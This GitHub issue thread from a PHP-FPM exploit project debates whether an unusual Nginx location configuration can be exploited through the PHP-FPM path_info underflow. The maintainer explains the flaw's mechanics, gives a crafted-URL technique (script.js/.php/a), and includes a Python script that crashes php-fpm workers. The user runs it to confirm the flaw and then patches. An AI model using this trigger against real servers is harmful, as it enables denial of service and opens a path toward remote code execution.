Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

PATH_INFO when not $fastcgi_path_info #8

Closed
mig5 opened this issue Oct 25, 2019 · 6 comments
Closed

PATH_INFO when not $fastcgi_path_info #8

mig5 opened this issue Oct 25, 2019 · 6 comments

Comments

@mig5
Copy link

mig5 commented Oct 25, 2019

Hi,

I've been trying to use your PoC against an Nginx vhost that contains this snippet:

  location ^~ /foobar {
    alias /var/www/foobar;
    location ~ ^(?<prefix>/foobar)(?<phpfile>.+?\.php)(?<pathinfo>/.*)?$ {
      fastcgi_split_path_info ^(.+?\.php)(/.+)$;
      fastcgi_pass             127.0.0.1:9000;
      fastcgi_index index.php;
      include /etc/nginx/fastcgi_params;
      fastcgi_param SCRIPT_FILENAME $document_root$phpfile;
      fastcgi_param PATH_INFO $pathinfo if_not_empty;
    }
  }

I can't seem to reproduce it hitting http://example.com/foobar/index.php or http://example.com/foobar/module.php/modules/index.php (there are PHP files in both these locations). All my attempts yield an Nginx 404. There is no try_files within this location block.

Would you agree that the above is somehow not exploitable? I am not sure why, wondering if it's because of the use of the $pathinfo if_not_empty instead of $fastcgi_path_info, or perhaps it's the location regex?

P.S the /etc/nginx/fastcgi_params that gets included, looks like this. Note there is a PATH_INFO in there too but I think it gets overwritten by the subsequent fastcgi_param PATH_INFO $pathinfo if_not_empty in the location block?

fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;
fastcgi_param  QUERY_STRING       $query_string;
fastcgi_param  REQUEST_METHOD     $request_method;
fastcgi_param  CONTENT_TYPE       $content_type;
fastcgi_param  CONTENT_LENGTH     $content_length;

fastcgi_param  SCRIPT_NAME        $fastcgi_script_name;
fastcgi_param  REQUEST_URI        $request_uri;
fastcgi_param  DOCUMENT_URI       $document_uri;
fastcgi_param  DOCUMENT_ROOT      $document_root;
fastcgi_param  SERVER_PROTOCOL    $server_protocol;

fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;
fastcgi_param  SERVER_SOFTWARE    nginx/$nginx_version;

fastcgi_param  REMOTE_ADDR        $remote_addr;
fastcgi_param  REMOTE_PORT        $remote_port;
fastcgi_param  SERVER_ADDR        $server_addr;
fastcgi_param  SERVER_PORT        $server_port;
fastcgi_param  SERVER_NAME        $server_name;

fastcgi_param  HTTPS              $https if_not_empty;

fastcgi_param  HTTP_PROXY         "";

fastcgi_param  PATH_INFO          $fastcgi_path_info;

# PHP only, required if PHP was built with --enable-force-cgi-redirect
fastcgi_param  REDIRECT_STATUS    200;

Thanks!

@neex
Copy link
Owner

neex commented Oct 25, 2019

Hi,

Many thanks for the detailed report!

It looks like PATH_INFO is set in fastcgi_params, and shouldn't be reset in fastcgi_param PATH_INFO $pathinfo if_not_empty; line. So I suspect it's location regexp that brakes it, but I'm not sure.

I will be able to look into it tomorrow evening I guess. If you want, you can use the reproducer docker to try it yourself before that.

@neex
Copy link
Owner

neex commented Oct 26, 2019

Hi again,

As I suspected, it's the location regexp that doesn't allow any newlines. If there's a newline character inside the URL path, the location regexp is not matched (the same way as in fastcgi_split_path_info during the attack), and the request never reaches php-fpm.

However, I think there're some chances we can trigger the underflow in a different way. Modern php-fpm doesn't allow files with arbitrary extensions to be executed as a script, but the check comes after the request initialization completed, meaning that PHP_VALUE may be set.

So, if you have a file without .php extension under /foobar, we can try to trigger the overflow using something like /foobar/favicon.ico/.php/a. The contents of /foobar/favicon.ico doesn't matter, we just need it to be a regular file.

However, it would be much harder to get an RCE because php.ini options must be even shorter than in #1 because of additional /.php/.

So, my questions are:

  1. Are you aware of any non-php files under /foorbar? Everything will work until it's a regular file, and its name doesn't end with .php.
  2. What is the relation between you and the target you're trying to hack? Specifically, will a crash of php-fpm worker process be enough for your purposes of demonstrating the vulnerability, or you need fully working code execution?

@mig5
Copy link
Author

mig5 commented Oct 26, 2019

Hi,

Are you aware of any non-php files under /foobar? Everything will work until it's a regular file, and its name doesn't end with .php.

There are no non-php files in the level of /foobar root. Alongside the .php files, there are also some sub-directories in the /foobar root, which contain assets (javascript etc) and other php files, does that count? Or is it safe because all non-php files are in subdirectories?

What is the relation between you and the target you're trying to hack? Specifically, will a crash of php-fpm worker process be enough for your purposes of demonstrating the vulnerability, or you need fully working code execution?

Obviously RCE is worse but wanted to just work out if with the config supplied above, whether it's vulnerable in any form.

Thanks for all the information!

@mig5
Copy link
Author

mig5 commented Oct 26, 2019

I get the PHP FPM 'Access Denied' at the path /foobar/resources/script.js/.php/a, with the error log noting the script extension issue you mention (denied (see security.limit_extensions)" ). I am not sure if PHP_VALUE is set or not, doesn't appear in the Nginx logs with log level turned up to 'debug', but that might not mean anything.

I think I will assume it is still vulnerable in some way with the config supplied. Thanks again.

@neex
Copy link
Owner

neex commented Oct 27, 2019

sub-directories in the /foobar

That will work too.

I get the PHP FPM 'Access Denied' at the path /foobar/resources/script.js/.php/a

Yes, that's the expected behavior.

At the php code, the underflow happens here (the pilen > slen check wasn't there before the patch). This function, init_request_info, is called before the security.limit_extensions check, see there and same function a few lines below.

As you can see, all we need to trigger the vulnerability is to have pilen < slen (see unpatched version). The exploit achieves this by sending \n inside path, so env_path_info is empty and pilen is zero.

In your configuration, we can achieve the same by sending /foobar/resources/script.js/.php/a. In this case, env_path_info is /a, so pilen is equal to 2 and less than slen.

Considering the fact that your configuration looks very uncommon, I don't think I will add something to the exploit about this. However, I wrote a simple script that should help you confirm you're vulnerable:

import requests
import sys

if __name__ == "__main__":
    base_url = sys.argv[1]
    rl = 16 # not sure, should be between 10 20
    for qsl in range(1500, 2000, 5):
        url = f"{base_url}/{'A'*rl}.php/a?{'B'*qsl}"
        if requests.get(url).text != "Access denied.\n":
            print(f"Found qsl = {qsl}, check php-fpm log for a segfault message")
            break
    else:
        print("Not vulnerable")

Run it like python3 trigger_segv.py http://127.0.0.1:8080/foobar/resources/script.js. If it prints Found... message, check the php-fpm log. You should see something like

[26-Oct-2019 23:57:15] WARNING: [pool www] child 30 exited on signal 11 (SIGSEGV) after 431.164364 seconds from start

meaning that a php-fpm worker had a segfault.

Thanks again for an interesting case! I think that RCE might possible, but it requires some research.

P.S. Sorry if the references to php sources don't make anything clear. I still trying to find inspiration to write a proper writeup.

@mig5
Copy link
Author

mig5 commented Oct 27, 2019

Thanks for the script! I confirmed SIGSEGV on my PHP 7 hosts with that script, despite those vhosts also having rewrite ^(.*?)\n $1; (taken from the mitigation in https://bugs.php.net/bug.php?id=78599) - evidently not a good mitigation since the SIGSEGV still happened. Once I upgraded their PHP 7 to latest version, no more SIGSEGV.

On the PHP5 instances, it still wouldn't SIGSEGV or report vulnerable, presumably because still using the same exploit method as per your README.

I'll close this out, cheers

@mig5 mig5 closed this as completed Oct 27, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants